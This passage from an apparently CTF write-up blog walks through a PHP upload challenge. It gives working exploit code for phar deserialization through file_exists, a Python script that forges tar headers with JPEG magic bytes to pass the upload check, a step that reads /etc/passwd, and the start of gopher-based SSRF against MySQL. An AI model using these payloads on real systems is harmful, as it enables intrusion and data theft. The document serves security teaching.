<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Requests</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>
<span class="p">}</span>
<span class="cp">?></span>
<span class="nt"></div></span>
</code></pre></div></div>
<p>nyaaa.php prints the result of executing curl on inputed url.</p>
<p>However, since the input value “url” is <strong>filtered</strong>, it can not be requested except <em>http</em> and <em>https</em>.</p>
<p>Leaks profile.php and uploadThumb.php source code.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- profile.php --></span>
<span class="cp"><?php</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'is_login'</span><span class="p">]</span> <span class="o">!==</span><span class="mi">1</span> <span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Login please.');history.back();</script>"</span><span class="p">);</span>
<span class="cp">?></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"description"</span><span class="nt">><br><br></span>
<span class="nt"><form</span> <span class="na">enctype=</span><span class="s">"multipart/form-data"</span> <span class="na">action=</span><span class="s">"?p=uploadThumb"</span> <span class="na">method=</span><span class="s">"post"</span><span class="nt">></span>
<span class="nt"><table</span> <span class="na">class=</span><span class="s">"loginform"</span><span class="nt">></span>
<span class="nt"><tr></span>
<span class="nt"><td</span> <span class="na">colspan=</span><span class="s">2</span> <span class="na">style=</span><span class="s">"text-align: left;"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"uploads/</span><span class="cp"><?=</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">];</span><span class="cp">?></span><span class="s">"</span> <span class="na">style=</span><span class="s">"height: 100px; width: 100px; object-fit: contain; vertical-align: middle; border: 1px solid #000000;"</span><span class="nt">></td><td</span> <span class="na">style=</span><span class="s">"text-align: left;"</span><span class="nt">></span>ID : <span class="cp"><?=</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span><span class="cp">?></span><span class="nt"></td></span>
<span class="nt"></tr></span>
<span class="nt"><tr></span>
<span class="nt"><td></span>Update Avatar : <span class="nt"></td></span>
<span class="nt"><td</span> <span class="na">colspan=</span><span class="s">2</span> <span class="na">style=</span><span class="s">"text-align: right;"</span><span class="nt">><input</span> <span class="na">type=</span><span class="s">"file"</span> <span class="na">name=</span><span class="s">"thumb"</span> <span class="na">value=</span><span class="s">"upload"</span><span class="nt">><input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"upload"</span><span class="nt">></td></span>
<span class="nt"></tr></span>
<span class="nt"></table></span>
<span class="nt"></form></span>
<span class="nt"></div></span>
<span class="c"><!-- uploadThumb.php --></span>
<span class="cp"><?php</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'is_login'</span><span class="p">]</span> <span class="o">!==</span><span class="mi">1</span> <span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Login please.');history.back();</script>"</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'uploads'</span><span class="p">);</span>
<span class="nv">$allowExt</span> <span class="o">=</span> <span class="k">Array</span><span class="p">(</span><span class="s1">'jpg'</span><span class="p">,</span><span class="s1">'jpeg'</span><span class="p">,</span><span class="s1">'png'</span><span class="p">,</span><span class="s1">'gif'</span><span class="p">);</span>
<span class="nv">$fname</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'name'</span><span class="p">];</span>
<span class="nv">$fname</span> <span class="o">=</span> <span class="nb">array_pop</span><span class="p">(</span><span class="nb">explode</span><span class="p">(</span><span class="s1">'./'</span><span class="p">,</span><span class="nv">$fname</span><span class="p">));</span>
<span class="k">if</span><span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="nb">urldecode</span><span class="p">(</span><span class="nv">$fname</span><span class="p">))){</span>
<span class="k">echo</span> <span class="s2">"<script>alert('Already uploaded file.</span><span class="se">\\</span><span class="s2">nPlease change filename.');history.back();</script>"</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nv">$ext</span> <span class="o">=</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nb">array_pop</span><span class="p">(</span><span class="nb">explode</span><span class="p">(</span><span class="s1">'.'</span><span class="p">,</span><span class="nv">$fname</span><span class="p">)));</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'error'</span><span class="p">]</span> <span class="o">!==</span> <span class="mi">0</span><span class="p">){</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Upload Error!');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$ext</span><span class="p">,</span> <span class="nv">$allowExt</span><span class="p">)){</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Sorry, not allow extension.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="nv">$contents</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">]);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"jpg"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span><span class="o">!=</span><span class="s2">"</span><span class="se">\xFF\xD8\xFF</span><span class="s2">"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('JPG is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"jpeg"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span><span class="o">!=</span><span class="s2">"</span><span class="se">\xFF\xD8\xFF</span><span class="s2">"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('JPEG is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"png"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span><span class="o">!=</span><span class="s2">"</span><span class="se">\x89</span><span class="s2">PNG"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('PNG is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"gif"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span><span class="o">!=</span><span class="s2">"GIF8"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('GIF is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Something error.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="o">@</span><span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">],</span> <span class="nv">$fname</span><span class="p">);</span>
<span class="nv">$id</span> <span class="o">=</span> <span class="nv">$mysql</span><span class="o">-></span><span class="nf">real_escape_string</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]);</span>
<span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"UPDATE users SET thumb='"</span><span class="mf">.</span><span class="nv">$mysql</span><span class="o">-></span><span class="nf">real_escape_string</span><span class="p">(</span><span class="nv">$fname</span><span class="p">)</span><span class="mf">.</span><span class="s2">"' WHERE id='"</span><span class="mf">.</span><span class="nv">$id</span><span class="mf">.</span><span class="s2">"';"</span><span class="p">;</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$mysql</span><span class="o">-></span><span class="nf">query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$result</span><span class="o">===</span><span class="kc">TRUE</span><span class="p">){</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'avatar'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$fname</span><span class="p">;</span>
<span class="k">echo</span><span class="p">(</span><span class="s2">"<script>alert('Successfully Avatar Change!');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span><span class="p">(</span><span class="s2">"<script>alert('Upload failed!');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cp">?></span>
</code></pre></div></div>
<p>uploadThumb.php checks <em>extension</em> of image file you want to upload, if same name does not exist, <u>checks header</u> of image file.</p>
<p>then, image file is uploaded.</p>
<p>Vulnerability exists on this page, and vulnerability is <strong>file_exists</strong> function.</p>
<p><strong>file_exists</strong> function unserialize the Metadata contained in the phar file with phar wrapper.</p>
<p>(e.g. phar://test.phar)</p>
<p>We can guess that the given <u>Requests class</u> is a <strong>Server Side Request Forgery (SSRF)</strong>.</p>
<blockquote>
<p><strong>Unserialize using file function</strong></p>
<p>If you open <u>a phar file that contains objects as Metadata</u> through phar wrapper on file-related functions, unserialize occurs.</p>
<p>e.g. file_exists(“phar://shpik.phar”);</p>
<p>This vulnerability occurs in the following functions, including <strong>file_exists</strong>:</p>
<ul>
<li>include(‘phar://test.phar’);</li>
<li>file_get_contents(‘phar://test.phar’);</li>
<li>file_put_contents(‘phar://test.phar’, ‘’);</li>
<li>copy(‘phar://test.phar’, ‘’);</li>
<li>file_exists(‘phar://test.phar’);</li>
<li>is_executable(‘phar://test.phar’);</li>
<li>is_file(‘phar://test.phar’);</li>
<li>is_dir(‘phar://test.phar’);</li>
<li>is_link(‘phar://test.phar’);</li>
<li>is_writable(‘phar://test.phar‘);</li>
<li>fileperms(‘phar://test.phar’);</li>
<li>fileinode(‘phar://test.phar’);</li>
<li>filesize(‘phar://test.phar’);</li>
<li>fileowner(‘phar://test.phar’);</li>
<li>filegroup(‘phar://test.phar’);</li>
<li>fileatime(‘phar://test.phar’);</li>
<li>filemtime(‘phar://test.phar’);</li>
<li>filectime(‘phar://test.phar’);</li>
<li>filetype(‘phar://test.phar’);</li>
<li>getimagesize(‘phar://test.phar’);</li>
<li>exif_read_data(‘phar://test.phar’);</li>
<li>stat(‘phar://test.phar’);</li>
<li>lstat(‘phar://test.phar’);</li>
<li>touch(‘phar://test.phar‘);</li>
<li>md5_file(‘phar://test.phar’);</li>
<li>and so on..</li>
</ul>
</blockquote>
<p>First, create phar file using below code.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ini_set</span><span class="p">(</span><span class="s1">'phar.readonly'</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="kd">class</span> <span class="nc">Requests</span><span class="p">{</span>
<span class="k">public</span> <span class="nv">$url</span><span class="p">;</span>
<span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$url</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">url</span> <span class="o">=</span> <span class="nv">$url</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__destruct</span><span class="p">(){</span>
<span class="nv">$ch</span> <span class="o">=</span> <span class="nb">curl_init</span><span class="p">();</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="n">url</span><span class="p">);</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_RETURNTRANSFER</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nv">$output</span> <span class="o">=</span> <span class="nb">curl_exec</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$output</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="o">@</span><span class="nb">unlink</span><span class="p">(</span><span class="s2">"phar.phar"</span><span class="p">);</span>
<span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Phar</span><span class="p">(</span><span class="s2">"phar.phar"</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">startBuffering</span><span class="p">();</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">addFromString</span><span class="p">(</span><span class="s2">"test.txt"</span><span class="p">,</span><span class="s2">"test"</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">setStub</span><span class="p">(</span><span class="s2">"<?php echo 'STUB!'; __HALT_COMPILER(); ?>"</span><span class="p">);</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Requests</span><span class="p">(</span><span class="s1">'file:///etc/passwd'</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">setMetadata</span><span class="p">(</span><span class="nv">$obj</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">stopBuffering</span><span class="p">();</span>
</code></pre></div></div>
<p>The important thing when creating phar file is that Metadata</p>
<p>It must contain <u>Object to be unserialized</u>.</p>
<p>We have created phar file that read “/etc/passwd”.</p>
<p>Now, let’s check if /etc/passwd is normally read in the <strong>file_exists</strong>.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ini_set</span><span class="p">(</span><span class="s1">'phar.readonly'</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="kd">class</span> <span class="nc">Requests</span><span class="p">{</span>
<span class="k">public</span> <span class="nv">$url</span><span class="p">;</span>
<span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$url</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">url</span> <span class="o">=</span> <span class="nv">$url</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__destruct</span><span class="p">(){</span>
<span class="nv">$ch</span> <span class="o">=</span> <span class="nb">curl_init</span><span class="p">();</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="n">url</span><span class="p">);</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_RETURNTRANSFER</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nv">$output</span> <span class="o">=</span> <span class="nb">curl_exec</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$output</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nb">file_exists</span><span class="p">(</span><span class="s2">"phar://phar.phar"</span><span class="p">);</span>
</code></pre></div></div>
<p><img src="https://raw.githubusercontent.com/SeahunOh/seahunoh.github.io/master/assets/images/cat_proxy1.png" alt="" /></p>
<p>Successfully read!!!</p>
<p>However, image file we can upload are jpg, jpeg, gif, png.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// in uploadThumbnail.php </span>
<span class="nv">$allowExt</span> <span class="o">=</span> <span class="k">Array</span><span class="p">(</span><span class="s1">'jpg'</span><span class="p">,</span><span class="s1">'jpeg'</span><span class="p">,</span><span class="s1">'png'</span><span class="p">,</span><span class="s1">'gif'</span><span class="p">);</span>
<span class="nv">$fname</span> <span class="o">=</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'name'</span><span class="p">];</span>
<span class="nv">$fname</span> <span class="o">=</span> <span class="nb">array_pop</span><span class="p">(</span><span class="nb">explode</span><span class="p">(</span><span class="s1">'./'</span><span class="p">,</span><span class="nv">$fname</span><span class="p">));</span>
<span class="k">if</span><span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="nb">urldecode</span><span class="p">(</span><span class="nv">$fname</span><span class="p">))){</span>
<span class="k">echo</span> <span class="s2">"<script>alert('Already uploaded file.</span><span class="se">\\</span><span class="s2">nPlease change filename.');history.back();</script>"</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="nv">$ext</span> <span class="o">=</span> <span class="nb">strtolower</span><span class="p">(</span><span class="nb">array_pop</span><span class="p">(</span><span class="nb">explode</span><span class="p">(</span><span class="s1">'.'</span><span class="p">,</span><span class="nv">$fname</span><span class="p">)));</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s1">'thumb'</span><span class="p">][</span><span class="s1">'error'</span><span class="p">]</span> <span class="o">!==</span> <span class="mi">0</span><span class="p">){</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Upload Error!');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$ext</span><span class="p">,</span> <span class="nv">$allowExt</span><span class="p">)){</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Sorry, not allow extension.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Fortunately phar is not sensitive to extensions.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">file_exists</span><span class="p">(</span><span class="s2">"phar://phar.jpg"</span><span class="p">);</span>
</code></pre></div></div>
<p>Now you need to match the header.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"jpg"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span><span class="o">!=</span><span class="s2">"</span><span class="se">\xFF\xD8\xFF</span><span class="s2">"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('JPG is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"jpeg"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">3</span><span class="p">)</span><span class="o">!=</span><span class="s2">"</span><span class="se">\xFF\xD8\xFF</span><span class="s2">"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('JPEG is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"png"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span><span class="o">!=</span><span class="s2">"</span><span class="se">\x89</span><span class="s2">PNG"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('PNG is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nv">$ext</span><span class="o">==</span><span class="s2">"gif"</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$contents</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">)</span><span class="o">!=</span><span class="s2">"GIF8"</span><span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('GIF is corrupted.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Something error.</span><span class="se">\\</span><span class="s2">nSorry.');history.back();</script>"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>To make it, I made phar into tar format.</p>
<p>In the case of tar, name of file can be change freely.</p>
<p>However, when changing the header of tar, checksum should also be calculated and changed.</p>
<p>I used to make the phar data tar using below code.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ini_set</span><span class="p">(</span><span class="s1">'phar.readonly'</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="kd">class</span> <span class="nc">Requests</span><span class="p">{</span>
<span class="k">public</span> <span class="nv">$url</span><span class="p">;</span>
<span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$url</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">url</span> <span class="o">=</span> <span class="nv">$url</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__destruct</span><span class="p">(){</span>
<span class="nv">$ch</span> <span class="o">=</span> <span class="nb">curl_init</span><span class="p">();</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="n">url</span><span class="p">);</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_RETURNTRANSFER</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nv">$output</span> <span class="o">=</span> <span class="nb">curl_exec</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$output</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="o">@</span><span class="nb">unlink</span><span class="p">(</span><span class="s2">"test.tar"</span><span class="p">);</span>
<span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PharData</span><span class="p">(</span><span class="s2">"get_flag.tar"</span><span class="p">);</span>
<span class="nv">$phar</span><span class="p">[</span><span class="s2">"AAABshpik"</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"FLAGFLAGFLAG"</span><span class="p">;</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Requests</span><span class="p">(</span><span class="s1">'file:///etc/passwd'</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">setMetadata</span><span class="p">(</span><span class="nv">$obj</span><span class="p">);</span>
</code></pre></div></div>
<p>The hex value of generated test.tar is as follows.</p>
<p><img src="https://raw.githubusercontent.com/SeahunOh/seahunoh.github.io/master/assets/images/cat_proxy2.png" alt="" /></p>
<p>The first part contains the data you put through <code class="language-plaintext highlighter-rouge">$phar["AAABshpik"] = "FLAGFLAGFLAG";</code>.</p>
<p>Now, in “AAABshpik”, you should change AAA to “\xFF\xD8\xFF”, which is the first part of the header that is checked when you upload jpg.</p>
<p>Next, you should change the checksum.</p>
<p>I changed the name through the code below, and calculated the checksum.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="k">def</span> <span class="nf">calcChecksum</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">sum</span><span class="p">(</span><span class="n">struct</span><span class="p">.</span><span class="n">unpack_from</span><span class="p">(</span><span class="s">"148B8x356B"</span><span class="p">,</span><span class="n">data</span><span class="p">))</span><span class="o">+</span><span class="mi">256</span>
<span class="k">if</span> <span class="n">__name__</span><span class="o">==</span><span class="s">"__main__"</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span><span class="o">!=</span><span class="mi">3</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"argv[1] is filename</span><span class="se">\n</span><span class="s">argv[2] is output filename.</span><span class="se">\n</span><span class="s">"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="c1"># Make new checksum
</span> <span class="n">new_name</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xFF\xD8\xFF\xDB</span><span class="s">shpik"</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">100</span><span class="p">,</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">new_data</span> <span class="o">=</span> <span class="n">new_name</span> <span class="o">+</span> <span class="n">data</span><span class="p">[</span><span class="mi">100</span><span class="p">:]</span>
<span class="n">checksum</span> <span class="o">=</span> <span class="n">calcChecksum</span><span class="p">(</span><span class="n">new_data</span><span class="p">)</span>
<span class="n">new_checksum</span> <span class="o">=</span> <span class="nb">oct</span><span class="p">(</span><span class="n">checksum</span><span class="p">).</span><span class="n">rjust</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span><span class="s">'0'</span><span class="p">)</span><span class="o">+</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span>
<span class="n">new_data</span> <span class="o">=</span> <span class="n">new_name</span> <span class="o">+</span> <span class="n">data</span><span class="p">[</span><span class="mi">100</span><span class="p">:</span><span class="mi">148</span><span class="p">]</span> <span class="o">+</span> <span class="n">new_checksum</span> <span class="o">+</span> <span class="n">data</span><span class="p">[</span><span class="mi">156</span><span class="p">:]</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">new_data</span><span class="p">)</span>
</code></pre></div></div>
<p>Now upload the file generated by the above code to the server.</p>
<p><strong>filename :</strong> shpik_etcpasswd.jpg</p>
<p>Then phar://shpik_etcpasswd.jpg should be uploaded.</p>
<p>But there is urldecode funtion in file_exists function, we uploaded “phar%3a%2f%2fshpik_etcpasswd.jpg”.</p>
<p><strong>filename :</strong> phar%3a%2f%2fshpik_etcpasswd.jpg</p>
<p><img src="https://raw.githubusercontent.com/SeahunOh/seahunoh.github.io/master/assets/images/cat_proxy3.png" alt="" /></p>
<p>You have successfully read /etc/passwd.</p>
<p>If the flag exists as a file, we can not find the file name using this vulnerability.</p>
<p>So I think it will be in the database.</p>
<p>database is mysql and password does not set(null).</p>
<p>Connect to mysql and extract data using <strong>gopher wrapper</strong>!</p>
<p>I use below code made mysql raw socket.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">struct</span>
<span class="k">def</span> <span class="nf">raw_encode</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="n">query</span> <span class="o">=</span> <span class="s">''</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span><span class="p">):</span>
<span class="n">query</span> <span class="o">+=</span> <span class="s">'%'</span> <span class="o">+</span> <span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="o">*</span><span class="n">i</span><span class="p">:</span><span class="mi">2</span><span class="o">*</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)]</span>
<span class="k">return</span> <span class="nb">unicode</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
